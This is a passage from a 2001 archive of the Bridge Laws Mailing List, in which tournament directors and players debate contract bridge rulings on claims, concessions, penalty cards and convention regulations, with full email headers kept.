owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 7:58 PM +0100 1/27/01, Ben Schelen wrote: >The TD was not summoned. >Your ruling please. How can there be a ruling if the TD was not summoned? :-) Had I (as TD) been summoned when West replaced his cards, I would rule he has conceded three tricks. Score is 3NT making 3. Had I been summoned after declarer played out the hand, well, that's just a little harder to sort out. West has still conceded (see law 68B). Declarer has violated law 68D ("play ceases"). Law 68D says "all play subsequent to a claim or concession is voided." According to law 68B, the concession stands unless defender's partner "immediately objects". It seems he didn't. Result is 3NT making 3. I suppose if declarer is an expert, a PP might be in order. Heh. And I didn't even read any other responses before I wrote this. Must be I'm learning something here. :-) Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOnNXaL2UW3au93vOEQKJ1gCdG0Xgh7yyOs08RvQriqliwaDKbl8AoJZH cFlPL6HtOojAzDhiNv9LAlrn =YXqQ -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 10:30:43 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RNUWf27536 for bridge-laws-outgoing; Sun, 28 Jan 2001 10:30:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from snipe.prod.itd.earthlink.net (snipe.prod.itd.earthlink.net [207.217.120.62]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RNUPt27494 for ; Sun, 28 Jan 2001 10:30:26 +1100 (EST) Received: from utcpoqli (pool0283.cvx2-bradley.dialup.earthlink.net [209.178.135.28]) by snipe.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id PAA24662 for ; Sat, 27 Jan 2001 15:30:21 -0800 (PST) Message-ID: <02f301c088b9$6e2946a0$1486b2d1@utcpoqli> From: "Tom Wood" To: "BLML" Subject: Pet 'Fess-up, was Re: OT Baseball quotes, was Re: [BLML] Claim? Date: Sat, 27 Jan 2001 15:32:33 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig, Lest I incur a harsh PP for my similar "failure to divulge," let me hasten to admit that my cats and/or dogs are uncannily identical to Demeter's menagerie a trois: Nikolai, a savvy, wary American Medium Hair Orange cat Katrina, a 6-year-old Samoyed "puppy" (60-lb, long-white-haired, snow-lovin' Samoyedskaya) Zonker, a 4-year-old Ragdollish, lovable, puppyish, dimwitted, beanbag-bellied, brown-and-white cat Tom Wood, 'fessed-up in snow-buried Crestline, CA, USA -----Original Message----- From: Craig Senior To: Alan Hill ; alain gottcheiner Cc: bridge-laws@rgb.anu.edu.au Date: Friday, January 26, 2001 12:58 PM Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? >Welcome Alan. > >You forgot to tell us of your cats and/or dogs. :-)) > >Craig <<< SNIP >>> -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 11:33:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0S0WSD12645 for bridge-laws-outgoing; Sun, 28 Jan 2001 11:32:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0S0WLt12641 for ; Sun, 28 Jan 2001 11:32:21 +1100 (EST) Received: from kay (ashsv1-45.cswnet.com [209.136.193.45]) by mail.cswnet.com (Postfix) with SMTP id 8A4E35D08E; Sat, 27 Jan 2001 18:32:15 -0600 (CST) Message-ID: <004801c088c2$22c2d240$2dc188d1@kay> From: "Nelson/Kay Ford" To: "David J Grabiner" , References: <005a01c08868$c5c56c00$0dc188d1@kay> <01012714485900.01834@psa836> Subject: Re: [BLML] Claim? Date: Sat, 27 Jan 2001 18:34:53 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "David J Grabiner" To: Sent: Saturday, January 27, 2001 8:44 AM Subject: Re: [BLML] Claim? > On Sat, 27 Jan 2001, Nelson/Kay Ford wrote: > > > From: "John (MadDog) Probst" > > > > There are about 5 standard infractions which I give without reading the > > > Laws. The obvious one is > > > Opening Lead out of turn. You need a lifetime to read this one > > > Secondly the revoke penalty, they just want to know is it 1 or 2 tricks. > > > 3rd a pass before anyone has bid. > > > 4th, the disposition of a penalty card > > > and lastly, an insufficient bid, where it is clear that both the > > > insufficient bid and the bid made good will neither be conventional. > > > I have polled TDs around here (quite a few in one club with > > about 800 members, and a couple at another club), and it > > may be hard to believe, but only the head TD at the large > > club knew that there is a difference between disposing of > > major and minor penalty cards. > > And my experience as a player is that most TD's get the rules wrong > even when they know that minor penalty cards exist. I have had cards > ruled as major when they should be minor, and weird rulings about minor > cards, such as, "as long as the C2 is a penalty card, you cannot play > any club lower than the 2." Even with major penalty cards, many > directors forget about the lead penalties. > > > Here's the level of TD Law expertise around here -- > > I called a TD and told her I wanted to protest a claim. > > Her instructions were to play on. > > That's worse than I have seen. I call TD's frequently when an opponent > tells me to play my claim out, and I have never been told to play it > out myself. > > Where do you play? I have played a lot of tournaments in New York, > Boston, San Francisco, and Detroit. I live in Hot Springs Village, Arkansas. HSV is the large club (about 800) in a community of 13,000+ mostly retirees. I direct in Hot Springs, 20 miles south of HSV. It is a small club, but a heavy percentage of LOL Life Masters playing almost every day. We had 9 tables this morning, and probably 7 pairs each direction were LOL Life Masters. Nelson -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 13:03:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0S22CQ10963 for bridge-laws-outgoing; Sun, 28 Jan 2001 13:02:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.myokay.net (db.myokay.net [195.211.161.152]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0S224t10915 for ; Sun, 28 Jan 2001 13:02:06 +1100 (EST) Received: (qmail 1149 invoked for bounce); 28 Jan 2001 02:01:59 -0000 Received: from dialin-194-29-57-125.frankfurt.gigabell.net (HELO rabbit) (194.29.57.125) by smtp.myokay.net with SMTP; 28 Jan 2001 02:01:59 -0000 Message-ID: <045a01c088ce$ad7154a0$9d391dc2@rabbit> From: "Thomas Dehn" To: References: <3.0.6.32.20010126112317.00838c00@pop.ulb.ac.be> <002a01c087cc$63187800$9a9c1e18@san.rr.com> Subject: Re: [BLML] WBF Systems Policy Date: Sun, 28 Jan 2001 03:01:46 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Marvin L. French" wrote: > From: "alain gottcheiner" > > To: "Marvin L. French" > > Sent: Friday, January 26, 2001 2:23 AM > Subject: Re: [BLML] WBF Systems Policy > > > > At 15:18 25/01/01 -0800, Marvin L. French wrote: > > >If a 2D opening shows a weak two > > >in hearts, is that not acceptable when "a > > >weak two in either major" is acceptable? > > >It says either major, and hearts > > >is a major suit, isn't it? The ACBL says no, > > >not acceptable, it must be a > > >weak two in an unspecified major. After I pointed out the ambiguity of > > >"either," they changed it to "an unspecified" last year. > > > > AG : in the European systems rules, > > an opening 2D which is either a weak 2H > > or one of several strong hands isn't a BSC either. Because there is an > > anchor suit. Thus, no problem. > > > There is no anchor suit for sure if the > opening can have alternative strong > meanings. There only needs to be an anchor suit for the *weak* variations. E.g. the following is not BSC over here: 2S showing either - both minors 8-12 or - a weak preempt in clubs, 2-7 or - a strong two in spades. Or the ever-popular 2C = either a weak two in diamonds, or a game force. Even 2C = either 11-15 6+ clubs, or 4+ hearts, 0-7 HCP would not be brown sticker, as 11-15 isn't weak. Thomas -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 13:53:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0S2r5r28572 for bridge-laws-outgoing; Sun, 28 Jan 2001 13:53:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0S2qxt28546 for ; Sun, 28 Jan 2001 13:53:00 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Sat, 27 Jan 2001 18:49:42 -0800 Message-ID: <00bc01c088d5$6297c8e0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "BLML" References: <02ad01c08897$dee40aa0$1486b2d1@utcpoqli> Subject: Re: [BLML] Claim? Date: Sat, 27 Jan 2001 18:47:44 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tom Wood wrote: > As I stated > in my original posting, I was primarily trying to convey the focus of > my dissatisfaction with the current L68A/L68C text. In any of my > private attempts at law re-write, I have usually taken about four > or five revisions before I was close to satisfied. For the usual > reasons: conciseness of language, avoidance of any ambiguity, etc. > Yes, the care required is usually much more than we have time for on BLML. First get the gist, then refine. I think we all realize that. In trying to come up with a perfect rewrite for a few Laws, I have come to realize how much effort must have gone into the writing of the existing Laws. It ain't easy! Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 17:10:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0S69Ar09656 for bridge-laws-outgoing; Sun, 28 Jan 2001 17:09:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0S694t09652 for ; Sun, 28 Jan 2001 17:09:05 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Sat, 27 Jan 2001 22:05:47 -0800 Message-ID: <00f901c088f0$c7c244a0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "BLML" References: <01a201c087e2$3e3e41c0$7ae2f1c3@default> Subject: Re: [BLML] Claim? Date: Sat, 27 Jan 2001 22:04:51 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Jac Fuchs" > John Probst wrote : > > >After reading the arguments I'm forced to conclude that I think it's > a > >claim. I am not happy. I shall spring it on DWS next time he tries > a > >weak 2, holding 6 of the suit (it happens). "Partner we can make 10 > >tricks" and see what happens. cheers john. > > > > Ah ! There's a nice point of discussion for native English speakers > here: > I would expect "we are going to make twelve tricks!" to be rather more > decisive than "we can make twelve tricks.", but do you native English > speaking gentlemen feel that way about it ? > Yes. But both are statements "to the effect" that a specific number of tricks will be won, making both claims. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 17:46:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0S6k0H09696 for bridge-laws-outgoing; Sun, 28 Jan 2001 17:46:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from femail7.sdc1.sfba.home.com (femail7.sdc1.sfba.home.com [24.0.95.87]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0S6jrt09692 for ; Sun, 28 Jan 2001 17:45:55 +1100 (EST) Received: from cc68559a ([24.5.183.132]) by femail7.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010128064549.MOV9583.femail7.sdc1.sfba.home.com@cc68559a> for ; Sat, 27 Jan 2001 22:45:49 -0800 Reply-To: From: "Linda Trent" To: "Bridge Laws" Subject: RE: [BLML] Claim? Date: Sat, 27 Jan 2001 22:47:36 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 In-Reply-To: <004801c088c2$22c2d240$2dc188d1@kay> Importance: Normal Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "David J Grabiner" > > > > And my experience as a player is that most TD's get the rules wrong > > even when they know that minor penalty cards exist. I have had cards > > ruled as major when they should be minor, I am surprised you have seen so many rulings about minor penalty cards.... I have only seen it happen maybe once or twice.... You must have a lot of clumsy players where you live :-) Linda and weird rulings about minor > > cards, such as, "as long as the C2 is a penalty card, you cannot play > > any club lower than the 2." Even with major penalty cards, many > > directors forget about the lead penalties. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 20:58:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0S9vXU20914 for bridge-laws-outgoing; Sun, 28 Jan 2001 20:57:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0S9vMt20872 for ; Sun, 28 Jan 2001 20:57:23 +1100 (EST) Received: from dodona (host213-123-52-34.dialup.lineone.co.uk [213.123.52.34]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id JAA22212; Sun, 28 Jan 2001 09:56:56 GMT Message-ID: <000b01c08910$f71367a0$22347bd5@dodona> From: "Grattan Endicott" To: "David Stevenson" , References: Subject: Re: [BLML] penalties AND UI - too much ? Date: Sun, 28 Jan 2001 01:50:51 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "They've been at a great feast of languages and stolen the scraps." - Love's Labour's Lost. <=====> ----- Original Message ----- From: David Stevenson To: Sent: Wednesday, January 24, 2001 2:07 AM Subject: Re: [BLML] penalties AND UI - too much ? > Tim West-meads writes > >In-Reply-To: <9WlVXcA+Ala6EwXP@blakjak.demon.co.uk> > >DWS wrote: > > > >> > >> The trouble with the simple logic approach to this problem is that > >> while your approach is what several people think is reasonable, the > >> Law was changed in a way as to make all information about the DA > >> [except the fact that it has to be played when diamonds are first > >> led] UI. > > > >IIRC this is not the law. The AI is that the diamond ace must be > >played *at the first [legal] opportunity*. It is, IMO, completely > >illogical to make a lead which might enable declarer to force a . > > > Note that this item can be extended to .> lots of deductions: can you make deductions > about the rest of the hand in any way from > knowledge of the DK or is it UI? > +=+ I think the crux of this law is that you cannot use information derived from the penalty card concerning the location of other cards, or the distribution of a suit or suits. When you are on lead and partner has a penalty card declarer may require or forbid etc. if he chooses not to do so, you are free to lead any card, but if you are not leading to the penalty card it does not seem right that you should make a lead that will be successful because you know the location of another card, nor avoid a lead that will not be successful because of such. That, I believe, is where this bit of law comes in. But, if this is the intention, I think the freedom granted in 50D2(b) ought to have a 'subject to' proviso. For me the real difficulty lies in the way that 50D2(b) relates to the remainder of Law 50, and I do not think the WBFLC minute clears this up sufficiently. ~ Grattan ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 20:58:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0S9vVp20904 for bridge-laws-outgoing; Sun, 28 Jan 2001 20:57:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0S9vLt20871 for ; Sun, 28 Jan 2001 20:57:22 +1100 (EST) Received: from dodona (host213-123-52-34.dialup.lineone.co.uk [213.123.52.34]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id JAA22200; Sun, 28 Jan 2001 09:56:54 GMT Message-ID: <000a01c08910$f606d9a0$22347bd5@dodona> From: "Grattan Endicott" To: "Peter Swensson" , , "alain gottcheiner" References: <3.0.6.32.20010124132038.00841e30@pop.ulb.ac.be> Subject: Re: SV: [BLML] Fw: wbf brown sticker question Date: Sun, 28 Jan 2001 01:22:39 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott " No problems can be solved and all solutions lead to more problems." - William Burroughs. <=====> ----- Original Message ----- From: alain gottcheiner To: Peter Swensson ; Sent: Wednesday, January 24, 2001 12:20 PM Subject: Re: SV: [BLML] Fw: wbf brown sticker question > > AG : 'weak 2-bid' is the name of a convention > +=+ Multi is a convention, but I do not think a weak two is other than a natural bid that is the subject of a special partnership understanding. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 23:12:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SCBqI14303 for bridge-laws-outgoing; Sun, 28 Jan 2001 23:11:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SCBkt14299 for ; Sun, 28 Jan 2001 23:11:47 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0SCBcp27121 for bridge-laws@rgb.anu.edu.au; Sun, 28 Jan 2001 12:11:38 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Sun, 28 Jan 2001 12:11 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Consistent Claim Adjudication To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: - Peter Newman wrote: > Thanks to everyone who made suggestions about the hand... > In my first example it is intriguing to me that it is clearly 2 tricks > to the defense despite this being a line guaranteed to go off in 3NT. > Obviously my defintion of irrational is different from everybody elses. There is no rational line that allows declarer to make a play for 3NT on the actual hand. At the time when the claim (so obviously) breaks down declarer must hold either: a: KJ,KJ6 b: J3,KJ6. (or K3/KJ6) c: KJ3,KJ d: KJ3,J6 (possibly, but this borders on irrational to me) In cases a & b any discard apart from H6 is ridiculous. In c & d a discard of anything apart from a spade honour is crazy. We will quite happily assume declarer to be in the least favourable possible position of a to c (maybe d for some). We will assume he makes antipercentage plays thereafter. However, the lie of the cards on the actual hand prevents us from finding a line to get fewer than 4 tricks. While it is true that a novice might fail to unblock the spade honour on holding d it is inconceivable to me that the same novice might have thrown a heart honour instead of the 6. Indeed I would even assume that declarer noticed the claim breakdown when West failed to follow if *that* opened up a possible line to 3 or fewer tricks. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 00:13:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SDCsQ04093 for bridge-laws-outgoing; Mon, 29 Jan 2001 00:12:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SDClt04056 for ; Mon, 29 Jan 2001 00:12:48 +1100 (EST) Received: from kay (ashsv1-30.cswnet.com [209.136.193.30]) by mail.cswnet.com (Postfix) with SMTP id 443AA5D0D9; Sun, 28 Jan 2001 07:12:42 -0600 (CST) Message-ID: <001901c0892c$5eb28ce0$1ec188d1@kay> From: "Nelson/Kay Ford" To: , "Bridge Laws" References: Subject: Re: [BLML] Claim? Date: Sun, 28 Jan 2001 07:15:20 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Linda Trent" To: "Bridge Laws" Sent: Sunday, January 28, 2001 12:47 AM Subject: RE: [BLML] Claim? > > From: "David J Grabiner" > > > > > > > > And my experience as a player is that most TD's get the rules wrong > > > even when they know that minor penalty cards exist. I have had cards > > > ruled as major when they should be minor, > > I am surprised you have seen so many rulings about minor penalty cards.... > > I have only seen it happen maybe once or twice.... > > You must have a lot of clumsy players where you live :-) A couple of weeks ago, a player meant to bid 2C, but her brain short-circuited and she pulled the 2C card out of her hand instead of pulling the 2C bid card out of the bidding box. Now the question is whether that is still a minor penalty card. It wasn't "accidentally" exposed, but it wasn't being led either. I don't think that the Laws anticipated this. Nelson Ford http://www.hsbridge.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 02:11:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SFAEe05777 for bridge-laws-outgoing; Mon, 29 Jan 2001 02:10:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SFA7t05773 for ; Mon, 29 Jan 2001 02:10:08 +1100 (EST) Received: from oemcomputer (dialup-017.sligo.iol.ie [194.125.48.209]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id PAA17475 for ; Sun, 28 Jan 2001 15:09:56 GMT Received: by localhost with Microsoft MAPI; Sun, 28 Jan 2001 15:10:59 -0000 Message-ID: <01C0893C.854AF8A0.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: RE: [BLML] Claim? Date: Sun, 28 Jan 2001 15:10:58 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----Original Message----- From: Nelson/Kay Ford [SMTP:nford@mail.cswnet.com] Sent: 28 January 2001 13:15 To: ltrent@home.com; Bridge Laws Subject: Re: [BLML] Claim? A couple of weeks ago, a player meant to bid 2C, but her brain short-circuited and she pulled the 2C card out of her hand instead of pulling the 2C bid card out of the bidding box. Now the question is whether that is still a minor penalty card. It wasn't "accidentally" exposed, but it wasn't being led either. I don't think that the Laws anticipated this. 24A: Card Exposed during Auction. The C2 is a single card below the rank of an honour not prematurely led. Best Regards, Fearghal. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 02:33:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SFWxC05794 for bridge-laws-outgoing; Mon, 29 Jan 2001 02:32:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ruthenium ([194.73.73.138]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SFWrt05790 for ; Mon, 29 Jan 2001 02:32:54 +1100 (EST) Received: from [213.122.187.215] (helo=pbncomputer) by ruthenium with smtp (Exim 3.03 #83) id 14Mtos-0002Qa-00 for bridge-laws@rgb.anu.edu.au; Sun, 28 Jan 2001 15:32:47 +0000 Message-ID: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> From: "David Burn" To: "Bridge Laws" Subject: [BLML] Cap Gemini shows the way Date: Sun, 28 Jan 2001 15:32:44 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Extract from Bulletin 1 from the recent Cap Gemini tournament in the Netherlands: At most tables, the contract was 4H which went down one. Forrester - Helgemo were in 4H as well, Chemla - Levy defending. Superficially looking at it, one would say that declarer stands no chance, but the prospects changed dramatically when Chemla revoked during the play of the hand. In a tournament of this standard, players would not call the director, but rather invite their opponents to correct the revoke and waive the penalty card. That's exactly what happened at this gentlemen's table, but it is interesting to see that Forrester might have made his contract had he imposed the Law. Comments on an electronic postcard. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 04:26:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SHP0D05877 for bridge-laws-outgoing; Mon, 29 Jan 2001 04:25:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SHOrt05873 for ; Mon, 29 Jan 2001 04:24:54 +1100 (EST) Received: from dodona (host62-6-98-129.dialup.lineone.co.uk 